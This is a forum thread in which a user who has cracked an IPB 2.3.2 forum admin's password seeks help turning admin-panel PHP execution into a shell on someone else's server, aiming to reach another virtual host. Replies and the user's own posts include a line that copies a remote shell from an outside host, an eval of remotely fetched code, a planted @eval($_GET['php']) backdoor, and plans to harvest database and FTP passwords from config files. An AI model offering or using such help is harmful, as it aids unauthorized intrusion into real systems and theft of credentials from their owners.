Waraxe IT Security Portal

_mranderson_ · Valuable expert

So, I have this IPB 2.3.2 forum where I could crack an admin's salted hash using my own md5 cracker (coz mdcrack seems to use the wrong hashing algo). So now I can access the panel, but I need shell on the server coz Im just side-hacking, and what I need is not the forum Wink

What I tried is using the raw php evaluation in the "Add New General Setting" form, the SELECT INTO OUTFILE method and even trying to read any file that could get me access to the server both inside the vhost dir and outside (SELECT load_file()/raw php). But nothing, i don't have file access, or at least not using those methods.

So I was wondering if anyone could help me getting out of this bad situation, or at least give some good hints. ty

pexli · Valuable expert

@copy('http://yourevalcode.com/shell.php' , '/home/blabla/blabla/shell.php');

This form is for executing php code not SQL query's.

P.S.And read this
http://www.waraxe.us/ftopict-3541.html#14769

_mranderson_ · Valuable expert

I know that's for php and already read/tried what you posted, but still got nothing. The raw php evaluation seems to not work I get the same errors even when I leave it blank (maybe the forum already got hax0red)..thanks anyways

EDIT: do you know if any other method works like editing templates/skins...? I m trying it but with no success

pexli · Valuable expert

Try to upload your shell in different directory.

_mranderson_ · Valuable expert

pexli · Valuable expert

Best way to try working or not is...

phpinfo();

_mranderson_ · Valuable expert

it let me read files but I cant find the config is it init.php?

because if I could read the sql password maybe it could match the ftp's

EDIT: ok ok wait I found the way to list files, so I go the config_global.php
wait I ll let you know if I could solve the problem

EDIT: I can read files thru file_get_contents, but I do not have write access to any file inside the httpdocs directory of the vhost nor outside. I can't read files outside that directory, also. I got the config options but it didn't help me get any further access.. even had a look at many custom/not default php files I could find, but I couldn't find any hole in them (or at least nothing more helpful than what I ve already found)

any other hints?

pexli · Valuable expert

In which directory you try to upload shell?And how?

_mranderson_ · Valuable expert

the php path where you can access files is restricted to /tmp and the /httpdocs of the virtual host, I found a way to execute all the php I want even shell functions that are ofc disabled, I can only read files and list directories within the restricted paths using file_get_contents/readfile and other file functions... still I tried using all the write functions to upload/write a shell to any directory in the /httpdocs including that one and in each subdirectory, but it says I do not have access. php version retrieved from phpinfo() is 5.2.6 I found something on milw0rm but it's still useless since you have to write code to a file...

edit: I also tried using include() require() and when I use require I get a blank page, this should mean that it doesn't get executed... also file_get_contents('http://...') works perfectly...

I also tried include()/require() and sleep(9999999); but it just doesn't show up..

another thing I tried is eval(file_get_contents('http://shell')); but it seem to not work... idk

poly · Beginner

I dont get it
When you save your php code in the php raw form does it automatically execute your code or do you have to view some page first

waraxe · Site admin

poly · Beginner

Fixed my problem
waraxe you a white hat?

_mranderson_ · Valuable expert

I have used the php raw option to save a specific php that allows me to execute any raw php without saving it each time (it's a simple @eval($_GET['php']) Wink

.. my goal is to install a shell, or at least run a shell on the server to view/access files on another vhost.. ofc to achieve this I may need priv escalation, but that's another problem (as the shell could help me in this job).. so all I wrote till now concerns my tries to upload/run a shell on the vhost..

EDIT: what is probable is that I ll need priv escalation to upload the shell... so I was asking if anyone knew a method that could help me reaching that goal (maybe even without priv escalation?).. btw I have already used the ipb2.3.5 exploit that you waraxe uploaded to milw0rm, so ty btw, I had a glance at the code an that is very well made nj.. also I found a Code Execution exploit that seems not written by you... but it stops because an IP filter that seems to be not bypassable...

pexli · Valuable expert

_mranderson_ i think you doing something wrong and answare to waraxe.

_mranderson_ · Valuable expert

well maybe the script dosn't have write access to files but just read...